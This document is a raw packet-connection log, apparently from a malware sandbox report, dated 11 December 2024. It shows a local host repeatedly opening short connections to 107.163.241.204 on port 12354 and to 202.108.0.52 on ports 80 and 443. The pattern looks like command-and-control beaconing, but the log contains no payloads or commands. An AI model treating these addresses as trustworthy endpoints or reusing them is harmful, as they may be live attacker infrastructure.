Dec 11, 2024 16:24:52.277057886 CET	443	50561	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:52.277117014 CET	50561	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:52.277499914 CET	50561	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:52.277512074 CET	443	50561	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:52.687994003 CET	12354	50517	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:52.688069105 CET	50517	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:52.688129902 CET	50517	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:52.688457012 CET	50571	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:52.809257030 CET	12354	50517	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:52.809639931 CET	12354	50571	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:52.809695959 CET	50571	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:52.809834003 CET	50571	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:52.812824965 CET	12354	50521	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:52.812872887 CET	50521	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:52.813041925 CET	50521	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:52.813471079 CET	50574	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:52.935662031 CET	12354	50571	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:52.938644886 CET	12354	50521	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:52.939160109 CET	12354	50574	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:52.939230919 CET	50574	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:52.939590931 CET	50574	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:53.058985949 CET	12354	50574	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:53.976999998 CET	443	50561	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:53.977081060 CET	50561	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:53.977844000 CET	50561	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:53.977850914 CET	443	50561	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:53.979516983 CET	50561	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:53.979522943 CET	443	50561	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:54.470889091 CET	50561	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:54.470958948 CET	50571	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:54.471060038 CET	50574	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:54.471582890 CET	50610	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:54.590110064 CET	50614	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:54.591010094 CET	12354	50610	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:54.591068983 CET	50610	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:54.591496944 CET	50610	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:54.607177019 CET	50520	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:54.607466936 CET	50615	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:54.709800959 CET	12354	50614	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:54.710012913 CET	50614	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:54.710439920 CET	50614	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:54.710881948 CET	12354	50610	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:54.727412939 CET	80	50615	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:54.727432013 CET	80	50520	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:54.727570057 CET	50520	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:54.727605104 CET	50615	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:54.727915049 CET	50615	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:54.829837084 CET	12354	50614	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:54.847160101 CET	80	50615	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:56.292313099 CET	80	50615	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:56.292371988 CET	50615	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:56.298500061 CET	50660	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:56.298554897 CET	443	50660	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:56.298625946 CET	50660	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:56.299299002 CET	50660	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:56.299325943 CET	443	50660	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:56.785233974 CET	12354	50610	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:56.785362959 CET	50610	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:56.785588980 CET	50610	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:56.786659002 CET	50675	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:56.828977108 CET	12354	50614	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:56.829067945 CET	50614	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:56.829334974 CET	50614	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:56.901091099 CET	50681	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:56.904866934 CET	12354	50610	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:56.905898094 CET	12354	50675	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:56.905950069 CET	50675	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:56.906470060 CET	50675	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:56.949521065 CET	12354	50614	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:57.023614883 CET	12354	50681	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:57.023763895 CET	50681	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:57.023998022 CET	50681	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:57.029124975 CET	12354	50675	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:57.143484116 CET	12354	50681	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:58.000303984 CET	443	50660	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:58.000368118 CET	50660	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:58.000834942 CET	50660	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:58.000845909 CET	443	50660	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:58.002691984 CET	50660	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:58.002697945 CET	443	50660	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:58.489618063 CET	50660	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:58.489654064 CET	50681	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:58.489686966 CET	50675	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:58.490449905 CET	50726	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:58.599880934 CET	50730	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:58.600008011 CET	50615	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:58.600215912 CET	50731	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:58.755125999 CET	12354	50726	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:58.755251884 CET	12354	50730	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:58.755261898 CET	50726	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:58.755280972 CET	80	50731	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:58.755362034 CET	50730	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:58.755362034 CET	50731	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:58.756896973 CET	80	50615	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:58.756978035 CET	50615	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:58.762630939 CET	50726	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:58.762767076 CET	50730	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:58.762850046 CET	50731	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:58.883476973 CET	12354	50726	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:58.883493900 CET	12354	50730	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:58.883557081 CET	80	50731	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:00.326045036 CET	80	50731	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:00.327133894 CET	50731	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:00.329509974 CET	50784	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:00.329543114 CET	443	50784	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:00.329629898 CET	50784	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:00.329889059 CET	50784	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:00.329900026 CET	443	50784	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:00.857846022 CET	12354	50726	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:00.857922077 CET	50726	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:00.858086109 CET	50726	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:00.859108925 CET	50804	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:00.876220942 CET	12354	50730	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:00.876286983 CET	50730	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:00.876338005 CET	50730	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:00.975037098 CET	50810	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:00.977385998 CET	12354	50726	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:00.978766918 CET	12354	50804	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:00.978873968 CET	50804	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:00.979048014 CET	50804	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:00.995678902 CET	12354	50730	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:01.094610929 CET	12354	50810	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:01.094758034 CET	50810	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:01.095097065 CET	50810	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:01.098339081 CET	12354	50804	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:01.214374065 CET	12354	50810	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:02.019938946 CET	443	50784	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:02.020056963 CET	50784	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:02.020801067 CET	50784	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:02.020812035 CET	443	50784	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:02.022576094 CET	50784	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:02.022588968 CET	443	50784	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:02.673947096 CET	50810	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:02.673978090 CET	50804	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:02.677967072 CET	50784	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:02.819998026 CET	50858	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:02.942234993 CET	12354	50858	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:02.942301989 CET	50858	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:02.944627047 CET	50858	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:02.956986904 CET	50861	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:02.957077026 CET	50731	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:02.957259893 CET	50862	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:03.069159031 CET	12354	50858	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:03.080796003 CET	12354	50861	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:03.080907106 CET	50861	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:03.081012011 CET	50861	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:03.081168890 CET	80	50731	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:03.081258059 CET	50731	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:03.089200020 CET	80	50862	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:03.089273930 CET	50862	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:03.089596987 CET	50862	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:03.203691959 CET	12354	50861	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:03.211750031 CET	80	50862	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:04.663110971 CET	80	50862	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:04.663212061 CET	50862	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:04.665539980 CET	50936	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:04.665612936 CET	443	50936	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:04.665709972 CET	50936	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:04.665988922 CET	50936	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:04.666019917 CET	443	50936	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:05.064766884 CET	12354	50858	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:05.064846992 CET	50858	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:05.065365076 CET	50858	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:05.065982103 CET	50959	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:05.185672045 CET	12354	50858	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:05.186316013 CET	12354	50861	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:05.186327934 CET	12354	50959	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:05.186377048 CET	50861	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:05.186398983 CET	50959	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:05.186620951 CET	50861	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:05.186995983 CET	50969	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:05.187299013 CET	50959	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:05.309195042 CET	12354	50861	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:05.309211969 CET	12354	50969	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:05.309289932 CET	50969	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:05.309418917 CET	12354	50959	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:05.310873985 CET	50969	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:05.432754040 CET	12354	50969	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:06.360193014 CET	443	50936	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:06.360271931 CET	50936	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:06.361394882 CET	50936	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:06.361432076 CET	443	50936	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:06.362901926 CET	50936	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:06.362921000 CET	443	50936	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:06.955156088 CET	50959	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:06.955288887 CET	50936	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:06.955322981 CET	50969	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:06.956748962 CET	51054	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:07.072906017 CET	51059	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:07.075293064 CET	50862	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:07.075582027 CET	51060	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:07.076206923 CET	12354	51054	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:07.076262951 CET	51054	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:07.076435089 CET	51054	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:07.192436934 CET	12354	51059	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:07.192519903 CET	51059	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:07.194972992 CET	80	51060	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:07.195038080 CET	51060	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:07.195291042 CET	80	50862	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:07.195372105 CET	50862	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:07.195472956 CET	51059	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:07.195750952 CET	12354	51054	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:07.196517944 CET	51060	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:07.314785004 CET	12354	51059	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:07.315885067 CET	80	51060	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:08.789449930 CET	80	51060	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:08.789546967 CET	51060	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:08.791682959 CET	51144	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:08.791722059 CET	443	51144	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:08.791793108 CET	51144	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:08.792021990 CET	51144	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:08.792037010 CET	443	51144	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:09.188210964 CET	12354	51054	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:09.188277960 CET	51054	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:09.188359976 CET	51054	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:09.188762903 CET	51165	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:09.297200918 CET	12354	51059	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:09.298686981 CET	51059	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:09.299339056 CET	51059	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:09.308130980 CET	12354	51054	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:09.308478117 CET	12354	51165	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:09.308731079 CET	51165	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:09.309228897 CET	51174	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:09.309463024 CET	51165	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:09.418651104 CET	12354	51059	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:09.428520918 CET	12354	51174	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:09.428720951 CET	12354	51165	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:09.428842068 CET	51174	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:09.444801092 CET	51174	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:09.565138102 CET	12354	51174	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:10.497592926 CET	443	51144	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:10.497771978 CET	51144	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:10.498778105 CET	51144	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:10.498790026 CET	443	51144	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:10.504053116 CET	51144	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:10.504060984 CET	443	51144	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:10.955027103 CET	51144	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:10.955064058 CET	51174	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:10.955086946 CET	51165	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:10.956027031 CET	51270	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:11.075331926 CET	12354	51270	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:11.075416088 CET	51270	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:11.075556993 CET	51270	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:11.093111992 CET	51060	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:11.093625069 CET	51280	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:11.094847918 CET	51281	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:11.195449114 CET	12354	51270	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:11.214107990 CET	80	51060	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:11.214142084 CET	80	51280	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:11.214179993 CET	51060	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:11.214219093 CET	51280	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:11.214385033 CET	51280	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:11.311403990 CET	12354	51281	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:11.311784983 CET	51281	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:11.311927080 CET	51281	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:11.333806038 CET	80	51280	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:11.431312084 CET	12354	51281	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:12.778274059 CET	80	51280	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:12.778422117 CET	51280	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:12.780580044 CET	51381	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:12.780667067 CET	443	51381	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:12.780762911 CET	51381	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:12.780970097 CET	51381	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:12.780993938 CET	443	51381	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:13.188801050 CET	12354	51270	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:13.188982010 CET	51270	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:13.204469919 CET	51270	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:13.204860926 CET	51398	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:13.324389935 CET	12354	51270	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:13.324461937 CET	12354	51398	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:13.324611902 CET	51398	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:13.324873924 CET	51398	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:13.422372103 CET	12354	51281	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:13.424880981 CET	51281	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:13.424880981 CET	51281	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:13.425209045 CET	51413	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:13.444230080 CET	12354	51398	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:13.544415951 CET	12354	51281	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:13.544687986 CET	12354	51413	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:13.544775963 CET	51413	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:13.550810099 CET	51413	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:13.674607038 CET	12354	51413	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:14.475826025 CET	443	51381	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:14.475902081 CET	51381	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:14.476279974 CET	51381	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:14.476290941 CET	443	51381	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:14.478013992 CET	51381	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:14.478018999 CET	443	51381	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:15.095798016 CET	51398	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:15.095843077 CET	51381	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:15.095859051 CET	51413	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:15.096745968 CET	51518	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:15.208501101 CET	51526	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:15.216305971 CET	12354	51518	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:15.216392994 CET	51518	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:15.216516018 CET	51518	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:15.225641012 CET	51280	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:15.226155996 CET	51528	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:15.328495026 CET	12354	51526	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:15.328581095 CET	51526	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:15.328713894 CET	51526	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:15.335922956 CET	12354	51518	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:15.346009016 CET	80	51528	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:15.346107960 CET	51528	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:15.346117020 CET	80	51280	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:15.346173048 CET	51280	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:15.350385904 CET	51528	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:15.454077959 CET	12354	51526	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:15.476433992 CET	80	51528	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:16.914438009 CET	80	51528	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:16.915501118 CET	51528	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:16.983087063 CET	51633	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:16.983144999 CET	443	51633	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:16.983320951 CET	51633	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:17.016865969 CET	51633	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:25:17.016886950 CET	443	51633	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:17.345549107 CET	12354	51518	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:17.345616102 CET	51518	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:17.345884085 CET	51518	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:17.346179962 CET	51647	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:17.438463926 CET	12354	51526	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:17.438536882 CET	51526	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:17.438581944 CET	51526	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:17.459229946 CET	51656	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:17.465204000 CET	12354	51518	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:17.465640068 CET	12354	51647	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:17.465831995 CET	51647	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:17.465831995 CET	51647	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:17.559427023 CET	12354	51526	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:17.578635931 CET	12354	51656	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:17.578732967 CET	51656	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:17.579092026 CET	51656	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:25:17.585171938 CET	12354	51647	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:17.700339079 CET	12354	51656	107.163.241.204	192.168.2.9
Dec 11, 2024 16:25:18.717597961 CET	443	51633	202.108.0.52	192.168.2.9
Dec 11, 2024 16:25:18.717657089 CET	51633	443	192.168.2.9	202.108.0.52
